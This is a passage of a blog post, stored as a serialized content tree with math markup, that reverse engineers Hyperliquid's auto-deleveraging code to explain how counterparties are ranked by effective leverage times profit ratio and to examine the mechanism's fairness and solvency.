rops":160115,"children":160117},{"className":160116},[21794],[160118],{"type":28,"value":21797},{"type":23,"tag":213,"props":160120,"children":160122},{"className":160121},[4130],[160123],{"type":23,"tag":213,"props":160124,"children":160126},{"className":160125,"style":159904},[4135],[160127],{"type":23,"tag":213,"props":160128,"children":160129},{},[],{"type":23,"tag":24,"props":160131,"children":160132},{},[160133],{"type":28,"value":160134},"We do that here:",{"type":23,"tag":159097,"props":160136,"children":160139},{"addr":159468,"line-start":160137,"line-end":160138},"828","981",[],{"type":23,"tag":24,"props":160141,"children":160142},{},[160143,160144,160150,160152,160158],{"type":28,"value":2623},{"type":23,"tag":159641,"props":160145,"children":160147},{"lines":160146},"77-79",[160148],{"type":28,"value":160149},"inner loop",{"type":28,"value":160151}," above spans all ",{"type":23,"tag":209,"props":160153,"children":160155},{"className":160154},[],[160156],{"type":28,"value":160157},"(asset_idx, direction)",{"type":28,"value":160159}," held in the cross margin position.",{"type":23,"tag":24,"props":160161,"children":160162},{},[160163,160165,160171,160173,160179,160180,160186],{"type":28,"value":160164},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":209,"props":160166,"children":160168},{"className":160167},[],[160169],{"type":28,"value":160170},"adl_output",{"type":28,"value":160172}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":209,"props":160174,"children":160176},{"className":160175},[],[160177],{"type":28,"value":160178},"position_id",{"type":28,"value":1466},{"type":23,"tag":209,"props":160181,"children":160183},{"className":160182},[],[160184],{"type":28,"value":160185},"position_shortfall",{"type":28,"value":124},{"type":23,"tag":159097,"props":160188,"children":160191},{"addr":159468,"line-start":160189,"line-end":160190},"2377","2469",[],{"type":23,"tag":24,"props":160193,"children":160194},{},[160195,160197,160203],{"type":28,"value":160196},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":209,"props":160198,"children":160200},{"className":160199},[],[160201],{"type":28,"value":160202},"(position_id, cut)",{"type":28,"value":160204},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":160206,"children":160207},{},[160208,160210,160215],{"type":28,"value":160209},"The final phase of ",{"type":23,"tag":209,"props":160211,"children":160213},{"className":160212},[],[160214],{"type":28,"value":159422},{"type":28,"value":160216}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":159097,"props":160218,"children":160221},{"addr":159468,"addr-start":160219,"addr-end":160220},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":160223,"children":160224},{},[160225],{"type":28,"value":160226},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":35430,"props":160228,"children":160230},{"id":160229},"who-do-we-deleverage",[160231],{"type":28,"value":160232},"Who Do We Deleverage?",{"type":23,"tag":24,"props":160234,"children":160235},{},[160236],{"type":28,"value":160237},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":160239,"children":160240},{},[160241],{"type":28,"value":160242},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":160244,"children":160245},{},[160246,160248,160255],{"type":28,"value":160247},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":36,"props":160249,"children":160252},{"href":160250,"rel":160251},"https://arxiv.org/abs/2512.01112",[40],[160253],{"type":28,"value":160254},"this paper",{"type":28,"value":160256},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":160258,"children":160259},{},[160260],{"type":28,"value":160261},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":47,"props":160263,"children":160265},{"id":160264},"adl-score-computation",[160266],{"type":28,"value":160267},"ADL Score Computation",{"type":23,"tag":24,"props":160269,"children":160270},{},[160271,160273,160279,160281,160287,160289,160294],{"type":28,"value":160272},"The score function at ",{"type":23,"tag":209,"props":160274,"children":160276},{"className":160275},[],[160277],{"type":28,"value":160278},"compute_adl_ranking_score",{"type":28,"value":160280}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":209,"props":160282,"children":160284},{"className":160283},[],[160285],{"type":28,"value":160286},"Ord",{"type":28,"value":160288}," implementation on some 20-byte address representation. A ",{"type":23,"tag":209,"props":160290,"children":160292},{"className":160291},[],[160293],{"type":28,"value":429},{"type":28,"value":160295}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":160297,"children":160298},{},[160299,160301,160306,160308,160314,160316,160323,160325,160332],{"type":28,"value":160300},"Those sort routines are ",{"type":23,"tag":87,"props":160302,"children":160303},{},[160304],{"type":28,"value":160305},"generated by the compiler",{"type":28,"value":160307},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":209,"props":160309,"children":160311},{"className":160310},[],[160312],{"type":28,"value":160313},".comment",{"type":28,"value":160315},", we may even manually ",{"type":23,"tag":36,"props":160317,"children":160320},{"href":160318,"rel":160319},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[40],[160321],{"type":28,"value":160322},"take advantage",{"type":28,"value":160324}," of this to recover the ",{"type":23,"tag":36,"props":160326,"children":160329},{"href":160327,"rel":160328},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[40],[160330],{"type":28,"value":160331},"exact source of library functions",{"type":28,"value":124},{"type":23,"tag":24,"props":160334,"children":160335},{},[160336,160338,160343],{"type":28,"value":160337},"Let's see how this ties back into the ",{"type":23,"tag":209,"props":160339,"children":160341},{"className":160340},[],[160342],{"type":28,"value":159422},{"type":28,"value":277},{"type":23,"tag":159097,"props":160345,"children":160347},{"source":159422,"target":160278,"direction":159423,"path":160346},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":160349,"children":160350},{},[160351],{"type":28,"value":160352},"And here's the main call site used for sorting:",{"type":23,"tag":159097,"props":160354,"children":160357},{"addr":159468,"line-start":160355,"line-end":160356},"2806","2814",[],{"type":23,"tag":47,"props":160359,"children":160361},{"id":160360},"ratio-1-effective-leverage",[160362],{"type":28,"value":160363},"Ratio 1: Effective Leverage",{"type":23,"tag":202,"props":160365,"children":160366},{},[160367],{"type":23,"tag":209,"props":160368,"children":160370},{"className":160369},[4076,159125],[160371],{"type":23,"tag":213,"props":160372,"children":160374},{"className":160373},[159130],[160375],{"type":23,"tag":213,"props":160376,"children":160378},{"className":160377},[4082],[160379],{"type":23,"tag":213,"props":160380,"children":160382},{"className":160381,"ariaHidden":1710},[4087],[160383,160414],{"type":23,"tag":213,"props":160384,"children":160386},{"className":160385},[4092],[160387,160391,160401,160405,160410],{"type":23,"tag":213,"props":160388,"children":160390},{"className":160389,"style":115155},[4097],[],{"type":23,"tag":213,"props":160392,"children":160394},{"className":160393},[4103,28],[160395],{"type":23,"tag":213,"props":160396,"children":160398},{"className":160397},[4103],[160399],{"type":28,"value":160400},"effective leverage",{"type":23,"tag":213,"props":160402,"children":160404},{"className":160403,"style":4282},[4184],[],{"type":23,"tag":213,"props":160406,"children":160408},{"className":160407},[4287],[160409],{"type":28,"value":3190},{"type":23,"tag":213,"props":160411,"children":160413},{"className":160412,"style":4282},[4184],[],{"type":23,"tag":213,"props":160415,"children":160417},{"className":160416},[4092],[160418,160423],{"type":23,"tag":213,"props":160419,"children":160422},{"className":160420,"style":160421},[4097],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":213,"props":160424,"children":160426},{"className":160425},[4103],[160427,160431,160526],{"type":23,"tag":213,"props":160428,"children":160430},{"className":160429},[21766,113618],[],{"type":23,"tag":213,"props":160432,"children":160434},{"className":160433},[113623],[160435],{"type":23,"tag":213,"props":160436,"children":160438},{"className":160437},[4125,21691],[160439,160514],{"type":23,"tag":213,"props":160440,"children":160442},{"className":160441},[4130],[160443,160509],{"type":23,"tag":213,"props":160444,"children":160446},{"className":160445,"style":159203},[4135],[160447,160468,160479],{"type":23,"tag":213,"props":160448,"children":160449},{"style":159207},[160450,160454],{"type":23,"tag":213,"props":160451,"children":160453},{"className":160452,"style":112271},[4144],[],{"type":23,"tag":213,"props":160455,"children":160457},{"className":160456},[4103],[160458],{"type":23,"tag":213,"props":160459,"children":160461},{"className":160460},[4103,28],[160462],{"type":23,"tag":213,"props":160463,"children":160465},{"className":160464},[4103],[160466],{"type":28,"value":160467},"account value",{"type":23,"tag":213,"props":160469,"children":160470},{"style":113673},[160471,160475],{"type":23,"tag":213,"props":160472,"children":160474},{"className":160473,"style":112271},[4144],[],{"type":23,"tag":213,"props":160476,"children":160478},{"className":160477,"style":113683},[113682],[],{"type":23,"tag":213,"props":160480,"children":160481},{"style":159258},[160482,160486],{"type":23,"tag":213,"props":160483,"children":160485},{"className":160484,"style":112271},[4144],[],{"type":23,"tag":213,"props":160487,"children":160489},{"className":160488},[4103],[160490,160495,160504],{"type":23,"tag":213,"props":160491,"children":160493},{"className":160492},[4103],[160494],{"type":28,"value":159273},{"type":23,"tag":213,"props":160496,"children":160498},{"className":160497},[4103,28],[160499],{"type":23,"tag":213,"props":160500,"children":160502},{"className":160501},[4103],[160503],{"type":28,"value":159283},{"type":23,"tag":213,"props":160505,"children":160507},{"className":160506},[4103],[160508],{"type":28,"value":159273},{"type":23,"tag":213,"props":160510,"children":160512},{"className":160511},[21794],[160513],{"type":28,"value":21797},{"type":23,"tag":213,"props":160515,"children":160517},{"className":160516},[4130],[160518],{"type":23,"tag":213,"props":160519,"children":160522},{"className":160520,"style":160521},[4135],"height:0.686em;",[160523],{"type":23,"tag":213,"props":160524,"children":160525},{},[],{"type":23,"tag":213,"props":160527,"children":160529},{"className":160528},[21788,113618],[],{"type":23,"tag":24,"props":160531,"children":160532},{},[160533,160535,160541,160543,160549,160550,160556,160558,160564],{"type":28,"value":160534},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":209,"props":160536,"children":160538},{"className":160537},[],[160539],{"type":28,"value":160540},"abs_notional",{"type":28,"value":160542}," (unsigned), and ",{"type":23,"tag":209,"props":160544,"children":160546},{"className":160545},[],[160547],{"type":28,"value":160548},"float.d(rbx)",{"type":28,"value":5594},{"type":23,"tag":209,"props":160551,"children":160553},{"className":160552},[],[160554],{"type":28,"value":160555},"account_value",{"type":28,"value":160557}," (signed); the division is ",{"type":23,"tag":209,"props":160559,"children":160561},{"className":160560},[],[160562],{"type":28,"value":160563},"abs_notional / account_value",{"type":28,"value":124},{"type":23,"tag":24,"props":160566,"children":160567},{},[160568],{"type":28,"value":160569},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":159097,"props":160571,"children":160575},{"addr":160572,"line-start":160573,"line-end":160574},"0x555556abb140","278","296",[],{"type":23,"tag":47,"props":160577,"children":160579},{"id":160578},"ratio-2-profit-ratio",[160580],{"type":28,"value":160581},"Ratio 2: Profit Ratio",{"type":23,"tag":202,"props":160583,"children":160584},{},[160585],{"type":23,"tag":209,"props":160586,"children":160588},{"className":160587},[4076,159125],[160589],{"type":23,"tag":213,"props":160590,"children":160592},{"className":160591},[159130],[160593],{"type":23,"tag":213,"props":160594,"children":160596},{"className":160595},[4082],[160597],{"type":23,"tag":213,"props":160598,"children":160600},{"className":160599,"ariaHidden":1710},[4087],[160601,160632],{"type":23,"tag":213,"props":160602,"children":160604},{"className":160603},[4092],[160605,160609,160619,160623,160628],{"type":23,"tag":213,"props":160606,"children":160608},{"className":160607,"style":115155},[4097],[],{"type":23,"tag":213,"props":160610,"children":160612},{"className":160611},[4103,28],[160613],{"type":23,"tag":213,"props":160614,"children":160616},{"className":160615},[4103],[160617],{"type":28,"value":160618},"profit ratio",{"type":23,"tag":213,"props":160620,"children":160622},{"className":160621,"style":4282},[4184],[],{"type":23,"tag":213,"props":160624,"children":160626},{"className":160625},[4287],[160627],{"type":28,"value":3190},{"type":23,"tag":213,"props":160629,"children":160631},{"className":160630,"style":4282},[4184],[],{"type":23,"tag":213,"props":160633,"children":160635},{"className":160634},[4092],[160636,160640],{"type":23,"tag":213,"props":160637,"children":160639},{"className":160638,"style":159178},[4097],[],{"type":23,"tag":213,"props":160641,"children":160643},{"className":160642},[4103],[160644,160648,160767],{"type":23,"tag":213,"props":160645,"children":160647},{"className":160646},[21766,113618],[],{"type":23,"tag":213,"props":160649,"children":160651},{"className":160650},[113623],[160652],{"type":23,"tag":213,"props":160653,"children":160655},{"className":160654},[4125,21691],[160656,160756],{"type":23,"tag":213,"props":160657,"children":160659},{"className":160658},[4130],[160660,160751],{"type":23,"tag":213,"props":160661,"children":160663},{"className":160662,"style":159203},[4135],[160664,160685,160696],{"type":23,"tag":213,"props":160665,"children":160666},{"style":159207},[160667,160671],{"type":23,"tag":213,"props":160668,"children":160670},{"className":160669,"style":112271},[4144],[],{"type":23,"tag":213,"props":160672,"children":160674},{"className":160673},[4103],[160675],{"type":23,"tag":213,"props":160676,"children":160678},{"className":160677},[4103,28],[160679],{"type":23,"tag":213,"props":160680,"children":160682},{"className":160681},[4103],[160683],{"type":28,"value":160684},"entry notional",{"type":23,"tag":213,"props":160686,"children":160687},{"style":113673},[160688,160692],{"type":23,"tag":213,"props":160689,"children":160691},{"className":160690,"style":112271},[4144],[],{"type":23,"tag":213,"props":160693,"children":160695},{"className":160694,"style":113683},[113682],[],{"type":23,"tag":213,"props":160697,"children":160698},{"style":159258},[160699,160703],{"type":23,"tag":213,"props":160700,"children":160702},{"className":160701,"style":112271},[4144],[],{"type":23,"tag":213,"props":160704,"children":160706},{"className":160705},[4103],[160707,160713,160718,160728,160733,160737,160741,160746],{"type":23,"tag":213,"props":160708,"children":160710},{"className":160709},[21673],[160711],{"type":28,"value":160712},"max",{"type":23,"tag":213,"props":160714,"children":160716},{"className":160715},[21766],[160717],{"type":28,"value":265},{"type":23,"tag":213,"props":160719,"children":160721},{"className":160720},[4103,28],[160722],{"type":23,"tag":213,"props":160723,"children":160725},{"className":160724},[4103],[160726],{"type":28,"value":160727},"pnl",{"type":23,"tag":213,"props":160729,"children":160731},{"className":160730},[4216],[160732],{"type":28,"value":4219},{"type":23,"tag":213,"props":160734,"children":160736},{"className":160735,"style":4223},[4184],[],{"type":23,"tag":213,"props":160738,"children":160740},{"className":160739,"style":4223},[4184],[],{"type":23,"tag":213,"props":160742,"children":160744},{"className":160743},[4103],[160745],{"type":28,"value":4116},{"type":23,"tag":213,"props":160747,"children":160749},{"className":160748},[21788],[160750],{"type":28,"value":2121},{"type":23,"tag":213,"props":160752,"children":160754},{"className":160753},[21794],[160755],{"type":28,"value":21797},{"type":23,"tag":213,"props":160757,"children":160759},{"className":160758},[4130],[160760],{"type":23,"tag":213,"props":160761,"children":160763},{"className":160762,"style":159301},[4135],[160764],{"type":23,"tag":213,"props":160765,"children":160766},{},[],{"type":23,"tag":213,"props":160768,"children":160770},{"className":160769},[21788,113618],[],{"type":23,"tag":24,"props":160772,"children":160773},{},[160774,160776,160782],{"type":28,"value":160775},"It uses entry notional (",{"type":23,"tag":209,"props":160777,"children":160779},{"className":160778},[],[160780],{"type":28,"value":160781},"r14_2",{"type":28,"value":160783},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":160785,"children":160786},{},[160787],{"type":28,"value":160788},"This basically tells us how well the user's bet went.",{"type":23,"tag":159097,"props":160790,"children":160794},{"addr":160791,"addr-start":160792,"addr-end":160793},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":160796,"children":160797},{},[160798,160800,160806,160808,160814],{"type":28,"value":160799},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":209,"props":160801,"children":160803},{"className":160802},[],[160804],{"type":28,"value":160805},"1e-8",{"type":28,"value":160807},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":209,"props":160809,"children":160811},{"className":160810},[],[160812],{"type":28,"value":160813},"effective_leverage * profit_ratio",{"type":28,"value":160815},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":160817,"children":160818},{},[160819],{"type":28,"value":160820},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":9693,"props":160822,"children":160824},{"id":160823},"partial-and-total-adl",[160825],{"type":28,"value":160826},"Partial and Total ADL",{"type":23,"tag":24,"props":160828,"children":160829},{},[160830],{"type":28,"value":160831},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":160833,"children":160834},{},[160835],{"type":28,"value":160836},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":160838,"children":160839},{},[160840,160842,160847],{"type":28,"value":160841},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":209,"props":160843,"children":160845},{"className":160844},[],[160846],{"type":28,"value":159422},{"type":28,"value":160848}," boils down to:",{"type":23,"tag":159097,"props":160850,"children":160853},{"addr":159468,"line-start":160851,"line-end":160852},"3252","3632",[],{"type":23,"tag":24,"props":160855,"children":160856},{},[160857],{"type":28,"value":160858},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":35430,"props":160860,"children":160862},{"id":160861},"branches",[160863],{"type":28,"value":160864},"Branches",{"type":23,"tag":24,"props":160866,"children":160867},{},[160868],{"type":28,"value":160869},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":160871,"children":160872},{},[160873],{"type":28,"value":160874},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":35430,"props":160876,"children":160878},{"id":160877},"financial-conclusions",[160879],{"type":28,"value":160880},"Financial Conclusions",{"type":23,"tag":47,"props":160882,"children":160884},{"id":160883},"fairness-revenue-solvency-trilemma",[160885],{"type":28,"value":160886},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":160888,"children":160889},{},[160890,160892,160898],{"type":28,"value":160891},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":36,"props":160893,"children":160895},{"href":160250,"rel":160894},[40],[160896],{"type":28,"value":160897},"the paper mentioned before",{"type":28,"value":160899},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":168,"props":160901,"children":160902},{},[160903,160913,160923],{"type":23,"tag":135,"props":160904,"children":160905},{},[160906,160911],{"type":23,"tag":87,"props":160907,"children":160908},{},[160909],{"type":28,"value":160910},"Solvency",{"type":28,"value":160912},": can the platform pay every trader out?",{"type":23,"tag":135,"props":160914,"children":160915},{},[160916,160921],{"type":23,"tag":87,"props":160917,"children":160918},{},[160919],{"type":28,"value":160920},"Fairness",{"type":28,"value":160922},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":135,"props":160924,"children":160925},{},[160926,160931],{"type":23,"tag":87,"props":160927,"children":160928},{},[160929],{"type":28,"value":160930},"Revenue",{"type":28,"value":160932},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":160934,"children":160935},{},[160936],{"type":28,"value":160937},"Let's borrow these definitions from the paper:",{"type":23,"tag":202,"props":160939,"children":160940},{},[160941],{"type":23,"tag":209,"props":160942,"children":160944},{"className":160943},[4076,159125],[160945],{"type":23,"tag":213,"props":160946,"children":160948},{"className":160947},[159130],[160949],{"type":23,"tag":213,"props":160950,"children":160952},{"className":160951},[4082],[160953],{"type":23,"tag":213,"props":160954,"children":160956},{"className":160955,"ariaHidden":1710},[4087],[160957],{"type":23,"tag":213,"props":160958,"children":160960},{"className":160959},[4092],[160961,160966],{"type":23,"tag":213,"props":160962,"children":160965},{"className":160963,"style":160964},[4097],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":213,"props":160967,"children":160969},{"className":160968},[4103],[160970],{"type":23,"tag":213,"props":160971,"children":160973},{"className":160972},[159827],[160974,161793],{"type":23,"tag":213,"props":160975,"children":160977},{"className":160976},[159832],[160978],{"type":23,"tag":213,"props":160979,"children":160981},{"className":160980},[4125,21691],[160982,161781],{"type":23,"tag":213,"props":160983,"children":160985},{"className":160984},[4130],[160986,161776],{"type":23,"tag":213,"props":160987,"children":160990},{"className":160988,"style":160989},[4135],"height:11.8392em;",[160991,161062,161079,161148,161218,161287,161357,161426,161495,161564,161634,161705],{"type":23,"tag":213,"props":160992,"children":160994},{"style":160993},"top:-14.3707em;",[160995,161000],{"type":23,"tag":213,"props":160996,"children":160999},{"className":160997,"style":160998},[4144],"height:3.3714em;",[],{"type":23,"tag":213,"props":161001,"children":161003},{"className":161002},[4103],[161004],{"type":23,"tag":213,"props":161005,"children":161007},{"className":161006},[4103],[161008,161013],{"type":23,"tag":213,"props":161009,"children":161011},{"className":161010,"style":21638},[4103,21637],[161012],{"type":28,"value":21641},{"type":23,"tag":213,"props":161014,"children":161016},{"className":161015},[4120],[161017],{"type":23,"tag":213,"props":161018,"children":161020},{"className":161019},[4125,21691],[161021,161051],{"type":23,"tag":213,"props":161022,"children":161024},{"className":161023},[4130],[161025,161046],{"type":23,"tag":213,"props":161026,"children":161028},{"className":161027,"style":109532},[4135],[161029],{"type":23,"tag":213,"props":161030,"children":161032},{"style":161031},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[161033,161037],{"type":23,"tag":213,"props":161034,"children":161036},{"className":161035,"style":4145},[4144],[],{"type":23,"tag":213,"props":161038,"children":161040},{"className":161039},[4150,4151,4152,4153],[161041],{"type":23,"tag":213,"props":161042,"children":161044},{"className":161043},[4103,21637,4153],[161045],{"type":28,"value":56456},{"type":23,"tag":213,"props":161047,"children":161049},{"className":161048},[21794],[161050],{"type":28,"value":21797},{"type":23,"tag":213,"props":161052,"children":161054},{"className":161053},[4130],[161055],{"type":23,"tag":213,"props":161056,"children":161058},{"className":161057,"style":93183},[4135],[161059],{"type":23,"tag":213,"props":161060,"children":161061},{},[],{"type":23,"tag":213,"props":161063,"children":161065},{"style":161064},"top:-12.8707em;",[161066,161070],{"type":23,"tag":213,"props":161067,"children":161069},{"className":161068,"style":160998},[4144],[],{"type":23,"tag":213,"props":161071,"children":161073},{"className":161072},[4103],[161074],{"type":23,"tag":213,"props":161075,"children":161077},{"className":161076,"style":95120},[4103,21637],[161078],{"type":28,"value":95154},{"type":23,"tag":213,"props":161080,"children":161082},{"style":161081},"top:-10.8392em;",[161083,161087],{"type":23,"tag":213,"props":161084,"children":161086},{"className":161085,"style":160998},[4144],[],{"type":23,"tag":213,"props":161088,"children":161090},{"className":161089},[4103],[161091],{"type":23,"tag":213,"props":161092,"children":161094},{"className":161093},[4103],[161095,161100],{"type":23,"tag":213,"props":161096,"children":161098},{"className":161097},[4103,21637],[161099],{"type":28,"value":3244},{"type":23,"tag":213,"props":161101,"children":161103},{"className":161102},[4120],[161104],{"type":23,"tag":213,"props":161105,"children":161107},{"className":161106},[4125,21691],[161108,161137],{"type":23,"tag":213,"props":161109,"children":161111},{"className":161110},[4130],[161112,161132],{"type":23,"tag":213,"props":161113,"children":161115},{"className":161114,"style":93629},[4135],[161116],{"type":23,"tag":213,"props":161117,"children":161118},{"style":93156},[161119,161123],{"type":23,"tag":213,"props":161120,"children":161122},{"className":161121,"style":4145},[4144],[],{"type":23,"tag":213,"props":161124,"children":161126},{"className":161125},[4150,4151,4152,4153],[161127],{"type":23,"tag":213,"props":161128,"children":161130},{"className":161129},[4103,21637,4153],[161131],{"type":28,"value":3826},{"type":23,"tag":213,"props":161133,"children":161135},{"className":161134},[21794],[161136],{"type":28,"value":21797},{"type":23,"tag":213,"props":161138,"children":161140},{"className":161139},[4130],[161141],{"type":23,"tag":213,"props":161142,"children":161144},{"className":161143,"style":93183},[4135],[161145],{"type":23,"tag":213,"props":161146,"children":161147},{},[],{"type":23,"tag":213,"props":161149,"children":161151},{"style":161150},"top:-8.8188em;",[161152,161156],{"type":23,"tag":213,"props":161153,"children":161155},{"className":161154,"style":160998},[4144],[],{"type":23,"tag":213,"props":161157,"children":161159},{"className":161158},[4103],[161160],{"type":23,"tag":213,"props":161161,"children":161163},{"className":161162},[4103],[161164,161170],{"type":23,"tag":213,"props":161165,"children":161167},{"className":161166,"style":93586},[4103,21637],[161168],{"type":28,"value":161169},"π",{"type":23,"tag":213,"props":161171,"children":161173},{"className":161172},[4120],[161174],{"type":23,"tag":213,"props":161175,"children":161177},{"className":161176},[4125,21691],[161178,161207],{"type":23,"tag":213,"props":161179,"children":161181},{"className":161180},[4130],[161182,161202],{"type":23,"tag":213,"props":161183,"children":161185},{"className":161184,"style":93629},[4135],[161186],{"type":23,"tag":213,"props":161187,"children":161188},{"style":93633},[161189,161193],{"type":23,"tag":213,"props":161190,"children":161192},{"className":161191,"style":4145},[4144],[],{"type":23,"tag":213,"props":161194,"children":161196},{"className":161195},[4150,4151,4152,4153],[161197],{"type":23,"tag":213,"props":161198,"children":161200},{"className":161199},[4103,21637,4153],[161201],{"type":28,"value":3826},{"type":23,"tag":213,"props":161203,"children":161205},{"className":161204},[21794],[161206],{"type":28,"value":21797},{"type":23,"tag":213,"props":161208,"children":161210},{"className":161209},[4130],[161211],{"type":23,"tag":213,"props":161212,"children":161214},{"className":161213,"style":93183},[4135],[161215],{"type":23,"tag":213,"props":161216,"children":161217},{},[],{"type":23,"tag":213,"props":161219,"children":161221},{"style":161220},"top:-7.3188em;",[161222,161226],{"type":23,"tag":213,"props":161223,"children":161225},{"className":161224,"style":160998},[4144],[],{"type":23,"tag":213,"props":161227,"children":161229},{"className":161228},[4103],[161230],{"type":23,"tag":213,"props":161231,"children":161233},{"className":161232},[4103],[161234,161239],{"type":23,"tag":213,"props":161235,"children":161237},{"className":161236},[4103,21637],[161238],{"type":28,"value":51507},{"type":23,"tag":213,"props":161240,"children":161242},{"className":161241},[4120],[161243],{"type":23,"tag":213,"props":161244,"children":161246},{"className":161245},[4125,21691],[161247,161276],{"type":23,"tag":213,"props":161248,"children":161250},{"className":161249},[4130],[161251,161271],{"type":23,"tag":213,"props":161252,"children":161254},{"className":161253,"style":93629},[4135],[161255],{"type":23,"tag":213,"props":161256,"children":161257},{"style":93156},[161258,161262],{"type":23,"tag":213,"props":161259,"children":161261},{"className":161260,"style":4145},[4144],[],{"type":23,"tag":213,"props":161263,"children":161265},{"className":161264},[4150,4151,4152,4153],[161266],{"type":23,"tag":213,"props":161267,"children":161269},{"className":161268},[4103,21637,4153],[161270],{"type":28,"value":3826},{"type":23,"tag":213,"props":161272,"children":161274},{"className":161273},[21794],[161275],{"type":28,"value":21797},{"type":23,"tag":213,"props":161277,"children":161279},{"className":161278},[4130],[161280],{"type":23,"tag":213,"props":161281,"children":161283},{"className":161282,"style":93183},[4135],[161284],{"type":23,"tag":213,"props":161285,"children":161286},{},[],{"type":23,"tag":213,"props":161288,"children":161290},{"style":161289},"top:-5.8188em;",[161291,161295],{"type":23,"tag":213,"props":161292,"children":161294},{"className":161293,"style":160998},[4144],[],{"type":23,"tag":213,"props":161296,"children":161298},{"className":161297},[4103],[161299],{"type":23,"tag":213,"props":161300,"children":161302},{"className":161301},[4103],[161303,161308],{"type":23,"tag":213,"props":161304,"children":161306},{"className":161305,"style":122380},[4103,21637],[161307],{"type":28,"value":49624},{"type":23,"tag":213,"props":161309,"children":161311},{"className":161310},[4120],[161312],{"type":23,"tag":213,"props":161313,"children":161315},{"className":161314},[4125,21691],[161316,161346],{"type":23,"tag":213,"props":161317,"children":161319},{"className":161318},[4130],[161320,161341],{"type":23,"tag":213,"props":161321,"children":161323},{"className":161322,"style":93629},[4135],[161324],{"type":23,"tag":213,"props":161325,"children":161327},{"style":161326},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[161328,161332],{"type":23,"tag":213,"props":161329,"children":161331},{"className":161330,"style":4145},[4144],[],{"type":23,"tag":213,"props":161333,"children":161335},{"className":161334},[4150,4151,4152,4153],[161336],{"type":23,"tag":213,"props":161337,"children":161339},{"className":161338},[4103,21637,4153],[161340],{"type":28,"value":3826},{"type":23,"tag":213,"props":161342,"children":161344},{"className":161343},[21794],[161345],{"type":28,"value":21797},{"type":23,"tag":213,"props":161347,"children":161349},{"className":161348},[4130],[161350],{"type":23,"tag":213,"props":161351,"children":161353},{"className":161352,"style":93183},[4135],[161354],{"type":23,"tag":213,"props":161355,"children":161356},{},[],{"type":23,"tag":213,"props":161358,"children":161360},{"style":161359},"top:-4.3188em;",[161361,161365],{"type":23,"tag":213,"props":161362,"children":161364},{"className":161363,"style":160998},[4144],[],{"type":23,"tag":213,"props":161366,"children":161368},{"className":161367},[4103],[161369],{"type":23,"tag":213,"props":161370,"children":161372},{"className":161371},[4103],[161373,161378],{"type":23,"tag":213,"props":161374,"children":161376},{"className":161375},[4103,21637],[161377],{"type":28,"value":19329},{"type":23,"tag":213,"props":161379,"children":161381},{"className":161380},[4120],[161382],{"type":23,"tag":213,"props":161383,"children":161385},{"className":161384},[4125,21691],[161386,161415],{"type":23,"tag":213,"props":161387,"children":161389},{"className":161388},[4130],[161390,161410],{"type":23,"tag":213,"props":161391,"children":161393},{"className":161392,"style":93629},[4135],[161394],{"type":23,"tag":213,"props":161395,"children":161396},{"style":93156},[161397,161401],{"type":23,"tag":213,"props":161398,"children":161400},{"className":161399,"style":4145},[4144],[],{"type":23,"tag":213,"props":161402,"children":161404},{"className":161403},[4150,4151,4152,4153],[161405],{"type":23,"tag":213,"props":161406,"children":161408},{"className":161407},[4103,21637,4153],[161409],{"type":28,"value":3826},{"type":23,"tag":213,"props":161411,"children":161413},{"className":161412},[21794],[161414],{"type":28,"value":21797},{"type":23,"tag":213,"props":161416,"children":161418}